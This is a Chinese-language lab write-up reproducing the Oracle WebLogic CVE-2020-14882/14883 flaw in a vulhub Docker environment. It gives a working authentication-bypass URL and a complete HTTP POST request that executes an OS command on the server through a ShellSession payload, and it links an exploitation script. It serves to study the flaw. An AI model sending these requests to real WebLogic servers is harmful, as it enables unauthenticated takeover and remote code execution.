Oracle WebLogic Server 安全漏洞(CVE-2020-14882)复现

一、漏洞概述

攻击者可通过构造特殊的 HTTP GET 请求，结合 CVE-2020-14883 漏洞进行利用，利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ，并执行任意代码。

二、影响范围

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

三、环境搭建

进入漏洞路径：/vulhub/weblogic/CVE-2020-14882

创建并后台运行所有容器：docker-compose up -d

显示所有容器：docker-compose ps

显示环境端口为7001端口

访问：http://127.0.0.1:7001/console

环境搭建成功

四、漏洞复现

构造POC：

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

发现可直接进入后台

抓包写入POC

POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1
Host: 127.0.0.1:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 138

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/123.txt');")
 

使用脚本工具：CVE-2020-14882_ALL.py

CVE-2020-14882_ALL/CVE-2020-14882_ALL.py at master · GGyao/CVE-2020-14882_ALL · GitHubCVE-2020-14882_ALL综合利用工具，支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能。 - CVE-2020-14882_ALL/CVE-2020-14882_ALL.py at master · GGyao/CVE-2020-14882_ALLhttps://github.com/GGyao/CVE-2020-14882_ALL/blob/master/CVE-2020-14882_ALL.py修改脚本内容：

利用：

利用成功。